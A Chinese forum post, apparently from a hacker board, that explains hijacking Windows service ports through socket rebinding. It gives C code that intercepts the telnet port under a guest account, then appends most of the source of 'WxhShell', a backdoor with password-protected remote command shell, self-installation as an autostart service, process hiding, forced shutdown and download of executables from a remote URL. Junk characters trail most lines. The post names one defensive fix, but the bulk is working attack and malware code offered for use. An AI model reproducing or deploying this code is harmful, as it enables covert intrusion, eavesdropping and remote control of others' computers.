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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -5ZmIlL.S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .>P:{''  
=6"5kz10  
  saddr.sin_family = AF_INET; ^NRf  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o0|Ex\  
`|nCnT'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Im@OAR4,R  
={V@Y-5T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {*[(j^OE  
{ I\og  
  这意味着什么?意味着可以进行如下的攻击: SY%y*6[6  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -B&(& R  
gZ7R^] k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /F(n%8)Yq  
W I MBw mg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bv b \G  
z ynu0X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G9yK/g&q  
KAI2[ gs  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +@?'dw  
Y?3tf0t/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hpPacN  
8T6NG!/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hh&$xlO)(v  
o ]z#~^w  
  #include 2zW IB[  
  #include nPqpat`E  
  #include aekke//y  
  #include    *kg->J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |iUC\F=-  
  int main() a.}#nSYP  
  { {\P%J:s#9  
  WORD wVersionRequested; r~ 2*'zB  
  DWORD ret; (;%T]?<9#  
  WSADATA wsaData; @z{SDM  
  BOOL val; Qz#By V:  
  SOCKADDR_IN saddr; J{Kw@_ypP  
  SOCKADDR_IN scaddr; b \ln XN  
  int err; ?4Rd4sIM$u  
  SOCKET s; =CZRX' +yN  
  SOCKET sc; qqf*g=f  
  int caddsize; wCruj`$  
  HANDLE mt; !$oa6*<1  
  DWORD tid;   %xOxMK@  
  wVersionRequested = MAKEWORD( 2, 2 ); #?jsC)  
  err = WSAStartup( wVersionRequested, &wsaData ); Z?!AJY  
  if ( err != 0 ) { 3IlVSR^py  
  printf("error!WSAStartup failed!\n"); Zr2!}jD9a  
  return -1; (I#6!Yt9J  
  } Ez5t)l-  
  saddr.sin_family = AF_INET; iae NY;T  
   fs&$?mHL){  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '5De1K.\`  
Q47R`"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J 3C^tV  
  saddr.sin_port = htons(23); jqc}mI\#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _lwKa, }  
  { 6&ut r!\7  
  printf("error!socket failed!\n"); e'G=.:  
  return -1; Y$A2{RjRq  
  } "8ellKh  
  val = TRUE; Kq-1  b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o /[7Vo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iBSg`"S^]C  
  { Vb\g49\o/  
  printf("error!setsockopt failed!\n"); 2a eH^:u  
  return -1; /}8Au$nA  
  } $S|+U}]C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &um++ \  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UNa "\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [Tp?u8$p`  
Zja3HGL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Af]zv~uM  
  { }3X/"2SW^  
  ret=GetLastError(); 8T T#b?d  
  printf("error!bind failed!\n"); `hkvxt  
  return -1; YYYF a  
  } `@],J  
  listen(s,2); E OXkMr  
  while(1) <KU 0K  
  { hQm=9gS  
  caddsize = sizeof(scaddr); {/,(F^T>2  
  //接受连接请求 [07E-TT2U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zdrP56rzZ  
  if(sc!=INVALID_SOCKET) ?%hd3zc+f  
  { ^]R_t@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VPYLDg.'  
  if(mt==NULL) aO&{.DO2  
  { A_wf_.l4h  
  printf("Thread Creat Failed!\n"); RdWn =;  
  break; KYm8|]'g  
  } x,25ROaHY  
  } y 2> 93m  
  CloseHandle(mt); Y^!qeY  
  } @M4c/k}  
  closesocket(s); y1%OH#:duD  
  WSACleanup(); |kPgXq6  
  return 0; |7c],SHm  
  }   -EP1Rl`\  
  DWORD WINAPI ClientThread(LPVOID lpParam) M*gvYo  
  { ue@/o,C>  
  SOCKET ss = (SOCKET)lpParam; 9S@x  
  SOCKET sc; #&Tm%CvB  
  unsigned char buf[4096]; |nx3x  
  SOCKADDR_IN saddr; xz!0BG  
  long num; w)+1^eW  
  DWORD val; XKky-LeJ  
  DWORD ret; :5%98V>02  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bTimJp[b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C`i#7zsH  
  saddr.sin_family = AF_INET; =|1_6.tz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O|8@cO  
  saddr.sin_port = htons(23); @u9L+*F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?5nEmG|kO  
  { [S,$E6&j$"  
  printf("error!socket failed!\n"); HZRFE[ 9nb  
  return -1; L?N&kzA  
  } aj;x:UqpJ  
  val = 100; oLKliA=q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M^:JhX{  
  { !\R5/-_UU  
  ret = GetLastError(); F,~BhKkbV  
  return -1; JHa1lj  
  } L.'61ZU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w gS'/  
  { V_J0I*Qa4  
  ret = GetLastError(); GuR^L@+ -.  
  return -1; / e>%yq<9B  
  } D=z~]a31!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -\f7qRW^U  
  { #17 &rizl  
  printf("error!socket connect failed!\n"); :VlA2Ih&q  
  closesocket(sc); q"2APvsvp  
  closesocket(ss); 1cOR?=G~  
  return -1; Pq [_(Nt  
  } DfAF-Yhut  
  while(1) i6_}  
  { Ct)58f2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "D.<~!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Sz Mh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]Wkgpfd56  
  num = recv(ss,buf,4096,0); 1<_][u@  
  if(num>0) 1(BLdP3&  
  send(sc,buf,num,0); g]vB\5uA:  
  else if(num==0) K{DC{yLu  
  break; 5HOl~E  
  num = recv(sc,buf,4096,0); J"AR3b@,$?  
  if(num>0) c<|y/n  
  send(ss,buf,num,0); c rb^TuN  
  else if(num==0) s oY\6mHio  
  break; 5/'Q0]4h  
  } hxL?6mhY  
  closesocket(ss); HfSx*@\s  
  closesocket(sc); b=lJ`|  
  return 0 ; 59)w+AW  
  } R*:$^v@4  
n o<$=(11i  
NRtH?&7  
========================================================== S3%2T  
gd0)s1{9  
下边附上一个代码,,WXhSHELL 9$HKP9G  
jI\@<6O  
========================================================== _ZhQY,  
5]Rbzg2t  
#include "stdafx.h" 8S8qj"s  
gvT}UNqL  
#include <stdio.h> zz U,0 L  
#include <string.h> gP QOv  
#include <windows.h> $}W T"K  
#include <winsock2.h> sr;&/l#7h  
#include <winsvc.h> >ZOlSLu  
#include <urlmon.h> BQ Pmo1B  
gaz7u8$A=  
#pragma comment (lib, "Ws2_32.lib") }2;P`s  
#pragma comment (lib, "urlmon.lib") \"ahs7ABT  
N0w?c 5>  
#define MAX_USER   100 // 最大客户端连接数 O+o)z6(  
#define BUF_SOCK   200 // sock buffer nvrh7l9nX  
#define KEY_BUFF   255 // 输入 buffer ^.LB(GZ,  
95'+8*YCY  
#define REBOOT     0   // 重启 0V<kpC,4  
#define SHUTDOWN   1   // 关机 .S|7$_9;b  
sn:VMHrOT  
#define DEF_PORT   5000 // 监听端口 M99ku'  
6m?<"y8]  
#define REG_LEN     16   // 注册表键长度 XF(D%ygeC  
#define SVC_LEN     80   // NT服务名长度  =Iop  
myfTz tJ  
// 从dll定义API 6{.U7="  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (y]Z*p:EW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L@H^?1*L?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U_IGL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o.!o4&W H  
fPD.np}  
// wxhshell配置信息  ?P +Uv  
struct WSCFG { pSlc (M>  
  int ws_port;         // 监听端口 Y_[7q<L  
  char ws_passstr[REG_LEN]; // 口令 `r SOt *<  
  int ws_autoins;       // 安装标记, 1=yes 0=no yq ;[1O_9C  
  char ws_regname[REG_LEN]; // 注册表键名 1=J& ^O{W  
  char ws_svcname[REG_LEN]; // 服务名 e7GYz7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?:$ q~[LY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Kb+SssF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vgy.fP"@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KR$Fd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" phH@{mI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4q]6[/  
j2,sI4  
}; ZJ%NZAxy  
ppz3"5  
// default Wxhshell configuration C,+  
struct WSCFG wscfg={DEF_PORT, imif[n+]}d  
    "xuhuanlingzhe", ;'{7wr|9  
    1, Zm0VaOT$I  
    "Wxhshell", m'}`+#C%)  
    "Wxhshell", m:)&:Y0 (a  
            "WxhShell Service", W|8VE,"7  
    "Wrsky Windows CmdShell Service", Q8`V0E\~  
    "Please Input Your Password: ", )$TN%hV!  
  1, \Vx^u}3O  
  "http://www.wrsky.com/wxhshell.exe", FQO=}0Hl  
  "Wxhshell.exe" nlB'@r  
    }; v Z]j%c@  
4o}{3 ! m  
// 消息定义模块 n}a`|Nbk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A4f"v)vM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @Pcgm"H<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !+3&%vQ)  
char *msg_ws_ext="\n\rExit."; U3&GRY|##  
char *msg_ws_end="\n\rQuit."; 3;L$&X2  
char *msg_ws_boot="\n\rReboot..."; d\>XfS  
char *msg_ws_poff="\n\rShutdown..."; -& (iU#W  
char *msg_ws_down="\n\rSave to "; \ 86 g y/  
OD~Q|I(j  
char *msg_ws_err="\n\rErr!"; Yd4X*Ua  
char *msg_ws_ok="\n\rOK!"; =7}1NeC`  
iHNQxLkk{:  
char ExeFile[MAX_PATH]; \ Ki3ls  
int nUser = 0; Ac U@H0  
HANDLE handles[MAX_USER]; AwG0E `SU  
int OsIsNt; q<3La(^/  
*l`yxz@U  
SERVICE_STATUS       serviceStatus; |*t2IVwX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f@;pN=PS  
g "Du]_,  
// 函数声明 uEb:uENk'(  
int Install(void); V7U*09 0*5  
int Uninstall(void); goiI* " 6M  
int DownloadFile(char *sURL, SOCKET wsh); IoOOS5a  
int Boot(int flag); |v7Je?yh  
void HideProc(void); 4eB'mPor  
int GetOsVer(void); L[2N zw O  
int Wxhshell(SOCKET wsl); w` +,  
void TalkWithClient(void *cs); +H&/C1u  
int CmdShell(SOCKET sock); [c=W p  
int StartFromService(void); 9 RDs`>v  
int StartWxhshell(LPSTR lpCmdLine); BGi'UL,  
p7> 9 m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); % WDTnEm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .iR<5.  
j>8ubA  
// 数据结构和表定义 2 )o2d^^  
SERVICE_TABLE_ENTRY DispatchTable[] = Ut2T:%m{  
{ qZ!kVrmg&  
{wscfg.ws_svcname, NTServiceMain}, @>(JC]HtR  
{NULL, NULL} T&[6  
}; KH#z =_  
+PE-j| D  
// 自我安装 BC!) g+8  
int Install(void) `r1j>F7Xb  
{ VB905%  
  char svExeFile[MAX_PATH]; F#|y,<}<  
  HKEY key; kO}%Y?9d  
  strcpy(svExeFile,ExeFile); 1y:fH4V  
Fq~Zr;A  
// 如果是win9x系统,修改注册表设为自启动 M 0}r)@  
if(!OsIsNt) { ]d(Z%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >QYx9`x&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vfzy BjQ  
  RegCloseKey(key); ?<.a>"!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $s=` {vv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4J[zNB]  
  RegCloseKey(key); v`mB82s  
  return 0; Q0"?TSY  
    } >dK0&+A  
  } G.O;[(3ab  
} n eu<zSS  
else { Q^va +O  
!+$QN4{9  
// 如果是NT以上系统,安装为系统服务 ;5;>f)diS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1.@{5f3T  
if (schSCManager!=0) `Eg X#  
{ H2|'JA#v  
  SC_HANDLE schService = CreateService x7 e0&  
  ( F^{31iU~CX  
  schSCManager, zf)*W#+  
  wscfg.ws_svcname, ~roNe|P  
  wscfg.ws_svcdisp, )0 E_Y@  
  SERVICE_ALL_ACCESS, T\Xf0|y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3}V (8  
  SERVICE_AUTO_START, <;#gcF[7>  
  SERVICE_ERROR_NORMAL, Qa/1*Mb  
  svExeFile, Da)p%E>Q  
  NULL,  g4q{ ]  
  NULL, |in>`:qk  
  NULL, XSof{:V  
  NULL, 7R[7M%H  
  NULL Kn$t_7AF^  
  ); ?`Z:vqp>Z  
  if (schService!=0) {Pe&J2 +  
  { 4P?`<K'  
  CloseServiceHandle(schService); M^\`~{*T  
  CloseServiceHandle(schSCManager); 1E!.E=Y ?M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ylos6]zS8  
  strcat(svExeFile,wscfg.ws_svcname); -}4CY\d6'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H[: lQ\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,#BD/dF  
  RegCloseKey(key); sK W~+ ]  
  return 0; T]Q4=xsv  
    } tkm@&e=e%  
  } E3p$^['vx  
  CloseServiceHandle(schSCManager); whe%o  
} lE%KzX?&  
} c]1AM)xo  
tc.|mIvw  
return 1; o_=4Ex "  
} jQ7;-9/~N  
e~*tQ4  
// 自我卸载 n&&C(#mBC  
int Uninstall(void) ;~r-P$kCY  
{ 4sSw7`  
  HKEY key; _l] 0V g`  
?/T=G k  
if(!OsIsNt) { a{e 2*V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n|WSnm,W  
  RegDeleteValue(key,wscfg.ws_regname); o3Yb2Nw  
  RegCloseKey(key); eu)""l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H(Wiy@cJn  
  RegDeleteValue(key,wscfg.ws_regname); kLF3s#k  
  RegCloseKey(key); -4Dz9 8du  
  return 0; /m>SEo\{C  
  } /C'_-U?  
} vv)O+xt  
} }vx 46  
else { q;QasAQS`p  
I+W,%)vb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ze9n}oN  
if (schSCManager!=0) Ki:t!vAO  
{ S['%>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]qZj@0#7n  
  if (schService!=0) V/DMkO#a  
  { m4uh<;C~  
  if(DeleteService(schService)!=0) { dm_Pz\ *  
  CloseServiceHandle(schService); qp*~  |  
  CloseServiceHandle(schSCManager); ,hJx3g5#n  
  return 0; ~x4]p|)</  
  } ^^ SMr l  
  CloseServiceHandle(schService); !S7?:MJ?p\  
  } OXZK|C;M}  
  CloseServiceHandle(schSCManager); *C|*{!  
} 90F.9rh  
} /Dc54U n  
`=V1w4J  
return 1; R)N^j'R~=  
} SR.xI:}4  
G3!O@j!7w$  
// 从指定url下载文件 K5bR7f:  
int DownloadFile(char *sURL, SOCKET wsh) [giw(4m#y  
{ "WmsBdO  
  HRESULT hr; '-~J.8-</  
char seps[]= "/"; w AdaP9h  
char *token; N`,,sw  
char *file; p|qLr9\A  
char myURL[MAX_PATH]; UWqiA`,  
char myFILE[MAX_PATH]; 7)O+s/.P)  
p]~PyzG!  
strcpy(myURL,sURL); Hsov0  
  token=strtok(myURL,seps); (6H 7?nv  
  while(token!=NULL) =],c$)  
  { P! j*4t  
    file=token; ]C+P J:CC  
  token=strtok(NULL,seps); kuLur)^  
  } iM9k!u FE  
dEkST[Y3  
GetCurrentDirectory(MAX_PATH,myFILE); zA|lbJz=GY  
strcat(myFILE, "\\"); =d~pr:.F  
strcat(myFILE, file); ub1~+T'O  
  send(wsh,myFILE,strlen(myFILE),0); A? jaS9 &)  
send(wsh,"...",3,0); o&k,aCQC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *yZta:(w-W  
  if(hr==S_OK) Rq",;,0ZJ  
return 0; Zn*W2s^^{  
else (}T},ygQ  
return 1; |V}tTx1  
?qHQ#0 @y]  
} =<#++;!I  
S}Z@g  
// 系统电源模块 6v}q @z  
int Boot(int flag) T8*;?j*@  
{ o9M r7  
  HANDLE hToken; xr Ne:Aj  
  TOKEN_PRIVILEGES tkp; &F;bg  
n^55G>"0|  
  if(OsIsNt) { {fEb>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j~+(#|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xa"I  
    tkp.PrivilegeCount = 1; y fuH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~EQ# %db  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X$t!g`  
if(flag==REBOOT) { j+lcj&V#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r>KmrU4Q  
  return 0; m>w{vqPwJ  
} u]9 #d^%V  
else { NYxL7:9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8U]mr+  
  return 0; !w!k0z]  
} >wYmx4W>  
  } UT 7'-  
  else { S5L0[SZ$!  
if(flag==REBOOT) { #+h#b%8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Mbly-l{|  
  return 0; 3:sx%Ci/2  
} @b5$WKPX  
else { Y@Ry oJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t!FC)iY  
  return 0; .UN?Ak*R  
} Gp?pSI,b.t  
} I&^hG\D  
W^;4t3eQf  
return 1; 3RlNEc%)  
} BOdlz#&s  
NUh%\{  
// win9x进程隐藏模块 NP!LBB)=Y  
void HideProc(void) bVZA f  
{ Crla~h?=  
i_!$bk< yo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^H&`e"|R9  
  if ( hKernel != NULL ) 66MUrNW  
  { PCH$)F4^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  Cz&t*i/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); * +6Z^ 7  
    FreeLibrary(hKernel); x>J(3I5_b  
  } Cnu])R  
 ,HNk<W  
return; "r@G V5ED  
} $RC)e 7  
-\Z`+kY?p  
// 获取操作系统版本 Qo(<>d  
int GetOsVer(void) -Vmp6XY3q  
{ ,x3< a}J  
  OSVERSIONINFO winfo; VYH $em6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :yw(Co]f  
  GetVersionEx(&winfo); -0k{O@l"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^`$-c9M?'  
  return 1; C(xsMO'k,,  
  else #>z!ns  
  return 0; ;c@B+RquR  
} I34 1s0  
1:|o7`  
// 客户端句柄模块 8|!"CQJ|H  
int Wxhshell(SOCKET wsl) (Dba!zSs  
{ *u[@C  
  SOCKET wsh; /Ea&Zm  
  struct sockaddr_in client; mZnsr@KF  
  DWORD myID; >V%.=})K  
NXS$w{^  
  while(nUser<MAX_USER) B" ]a8}u  
{ P+e{,~o  
  int nSize=sizeof(client); p7.~k1h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pQ ul0]  
  if(wsh==INVALID_SOCKET) return 1; Psf{~ (Ii  
zCS }i_ p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cw_B^f8^  
if(handles[nUser]==0) x%dVD  
  closesocket(wsh); eQfXUpk3@I  
else T&<ee|t@{  
  nUser++; y"_rDj`  
  } a]8W32  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QZL,zI]LL  
j0=H6Y  
  return 0; 9`&sZ|"3  
} "SC]G22  
7PO]\X^(zE  
// 关闭 socket ZlQ&m  
void CloseIt(SOCKET wsh) jS#YqVuN  
{ bc& 5*?  
closesocket(wsh); W:8{}Iu<  
nUser--; (r1"!~d@  
ExitThread(0); SEM- t   
} zP$"6~.  
vXak5iq>X  
// 客户端请求句柄 {s2eOL5I|%  
void TalkWithClient(void *cs) I3ugBLxVC3  
{ iqWkhJphv  
!|J2o8g  
  SOCKET wsh=(SOCKET)cs; J!QIMA4{  
  char pwd[SVC_LEN]; vcP_gJz  
  char cmd[KEY_BUFF]; 7VLn$q]:  
char chr[1]; +Q:)zE  
int i,j; R0GD9  
'^'PdB  
  while (nUser < MAX_USER) { ?uF3Q)rCk  
gU@R   
if(wscfg.ws_passstr) { Iqj?wI 1)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @k-GyV-v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,K.Wni#m  
  //ZeroMemory(pwd,KEY_BUFF); |A=~aQot  
      i=0; :vFYqoCn  
  while(i<SVC_LEN) { {Bpu-R&T  
 Ozsvsa  
  // 设置超时 AG G xx?I  
  fd_set FdRead; W7\UZPs5t  
  struct timeval TimeOut; *4Z! 5iOs  
  FD_ZERO(&FdRead); )<5hga][~a  
  FD_SET(wsh,&FdRead); {J;(K~>?m  
  TimeOut.tv_sec=8; F]RZP/D`  
  TimeOut.tv_usec=0; SU.$bsu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s}4k^NGFJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $o ;48uV^  
v\=k[oOu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (J j'kW6G6  
  pwd=chr[0]; qM d4awB R  
  if(chr[0]==0xd || chr[0]==0xa) { @A-E  
  pwd=0; z;&J9r $`  
  break; b>& 3 XDz  
  }  Q 6r  
  i++; WvcPOt8Bp>  
    } :;&3"-  
7lzmAih  
  // 如果是非法用户,关闭 socket @Fb 2c0?Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zRm@ |IT  
} }%3i8e  
[q|8.>sB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w6AG:u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lQ2vQz-J  
(w%9?y4Q  
while(1) { ]-w.x ]I  
AFWWGz  
  ZeroMemory(cmd,KEY_BUFF); #0Z%4WQ  
}#Kl6x  
      // 自动支持客户端 telnet标准   :SN/fY  
  j=0; &(NxkZp!  
  while(j<KEY_BUFF) { >PUT(yNL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5RKs 2 eV  
  cmd[j]=chr[0]; .6iJ:A6T  
  if(chr[0]==0xa || chr[0]==0xd) { P#,g5  
  cmd[j]=0; 80LN(0?x  
  break; ca'c5*Fs  
  } o"qG'\x  
  j++; aBKJd  
    } [-nPHmZV[  
u X(#+  
  // 下载文件 kM7 6?M  
  if(strstr(cmd,"http://")) { @CA{uP;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /Em6+DN>  
  if(DownloadFile(cmd,wsh)) 6D4 j];~X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6PMu*-Nv!j  
  else ca:Vdrw`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z2;<i|Ez0  
  } xv_Z$&9e>l  
  else { ]ia{N  
io7Zv*&T0  
    switch(cmd[0]) { T ?{F7  
  i >BQRbU  
  // 帮助 p '=XW#2 >  
  case '?': { R1Q~UX]d=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); + ;B K|([#  
    break; w#>CYP`0k6  
  } )24 1-b V  
  // 安装 Rab7Y,AA  
  case 'i': { 6I\4Yv$N  
    if(Install()) t28 y=nv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Oe}OSxnT  
    else p$$0**p!`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t'HrI-x  
    break; "X-"uIc  
    } j"vL$h  
  // 卸载 c,5yH  
  case 'r': { b2hXFwPe  
    if(Uninstall()) W"5VqN6v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +VO(6Jn  
    else q]gF[&QZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]fU0;jzX  
    break; bqQR";  
    } BBj>ML\X  
  // 显示 wxhshell 所在路径 28lor&Cc  
  case 'p': { ynZfO2kf  
    char svExeFile[MAX_PATH]; (6i. >%|_  
    strcpy(svExeFile,"\n\r"); B\quXE)  
      strcat(svExeFile,ExeFile); ^x}k1F3  
        send(wsh,svExeFile,strlen(svExeFile),0); [f`7+RHrd  
    break; Vd A!tL  
    } N?c!uO|h|  
  // 重启 TL: 6Pe  
  case 'b': { gLWbd~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dU|&- .rG  
    if(Boot(REBOOT)) u9R@rQ9r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +{s -Fg  
    else { XK/bE35%^!  
    closesocket(wsh); `'b2 z=j  
    ExitThread(0); J|DY /v  
    } LDj*~\vsq  
    break; > |(L3UA9  
    } $u::(s} x<  
  // 关机 {w<"jw&2  
  case 'd': { A{ . A1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A0H6}53, $  
